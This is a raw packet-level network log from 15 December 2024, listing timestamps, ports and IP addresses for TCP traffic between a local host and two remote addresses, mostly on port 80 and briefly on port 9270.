Dec 15, 2024 11:59:33.740422964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.741434097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.741487026 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.741640091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.742070913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.742654085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.742687941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.742733955 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.744025946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.744060040 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.744082928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.744105101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.745115995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.745150089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.745167017 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.745189905 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.746134043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.746515989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.746567011 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.747260094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.747308016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.747404099 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.747450113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.748692036 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.748745918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.748796940 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.749722958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.749771118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.749778032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.749820948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.750801086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.750849009 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.750963926 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.751008034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.751954079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.752002001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.752100945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.752145052 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.753173113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.753220081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.753281116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.753324986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.754431963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.754556894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.754610062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.755469084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.755522966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.755614042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.755660057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.756644011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.756695032 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.756952047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.757050991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.758142948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.758177042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.758229971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.759196043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.759228945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.759249926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.759278059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.760201931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.760303974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.760353088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.761703968 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.761738062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.761758089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.761789083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.762789965 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.762823105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.762833118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.762860060 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.763740063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.763784885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.763870955 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.763910055 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.764889956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.764941931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.764956951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.765002012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.766210079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.766242981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.766284943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.767205000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.767297029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.767374992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.767421007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.768387079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.768434048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.768486023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.768526077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.769560099 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.769609928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.769695044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.770793915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.770848036 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.770859957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.770900965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.771924973 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.772105932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.772165060 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.773099899 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.773154974 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.773185968 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.773228884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.774276972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.774338961 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.774396896 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.774444103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.775403976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.775463104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.847028017 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:33.851109028 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:33.854088068 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:33.856187105 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:33.906140089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.906208992 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.906497002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.906544924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.906598091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.906689882 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.906723022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.906881094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.907608986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.907644987 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.907663107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.907691956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.908634901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.908693075 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.908967018 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.909019947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.909919977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.909954071 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.909965038 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.909990072 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.910994053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.911051035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.911190033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.911232948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.912163019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.912240982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.912391901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.912439108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.913484097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.913516998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.913544893 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.913574934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.914573908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.914613008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.914690971 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.914729118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.915740967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.915782928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.915859938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.915914059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.916922092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.916996956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.917114019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.918098927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.918133020 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.918148041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.918175936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.919235945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.919281960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.919362068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.919434071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.920566082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.920602083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.920610905 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.920641899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.921557903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.921593904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.921627045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.921700954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.922986984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.923022032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.923041105 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.923063993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.924312115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.924346924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.924364090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.924387932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.925196886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.925257921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.925296068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.925393105 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.926337004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.926388979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.926438093 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.926479101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.927498102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.927546024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.927705050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.927750111 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.928647995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.929146051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.929172993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.929197073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.929995060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.930035114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.930181026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.930222988 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.931090117 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.931126118 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.931134939 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.931163073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.932562113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.932617903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.932616949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.932657003 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.933331013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.933372974 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.933413982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.933450937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.934814930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.934866905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.934870958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.934910059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.935839891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.935874939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.935887098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.935910940 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.936842918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.936885118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.936971903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.937014103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.938011885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.938056946 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.938118935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.938360929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.939351082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.939385891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.939408064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.939431906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.940326929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.940382004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.940417051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.940469027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.941540956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.941595078 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.941643000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.942008972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.942663908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.942714930 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.942837000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.942887068 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.943850994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.943921089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.943934917 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.944149971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.944992065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.945087910 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.945163965 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.945344925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.946232080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.946276903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.946404934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.946449041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.947376966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.947422981 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.947479010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.947520971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.948573112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.948620081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.948750973 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.948795080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.949704885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.949754000 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.949866056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.950200081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.950958014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.951008081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.951118946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.951165915 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.952094078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.952145100 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.952438116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.952562094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.953249931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.953406096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.953416109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.953457117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.954442978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.954494953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.954516888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.954826117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.955820084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.955853939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.955873966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.955893040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.956785917 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.956835985 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.956895113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.956937075 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.957860947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.957904100 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.958209991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.958261967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.959393024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.959431887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.959458113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.959479094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.960443974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.960478067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.960493088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.960517883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.961616993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.961662054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.961671114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.961710930 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.962622881 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.962667942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.962739944 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.962780952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.963793993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.963839054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.963848114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.963905096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.965039015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.965086937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.965147018 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.965349913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.966111898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.966213942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.966248035 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.966290951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.967298985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:33.967365980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:33.974009037 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:33.975568056 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:33.975971937 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:33.976018906 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:34.096641064 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:34.096669912 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:34.098469973 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.098679066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.098866940 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.099106073 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.099153996 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.099196911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.100109100 CET	80	49805	31.41.244.11	192.168.2.4
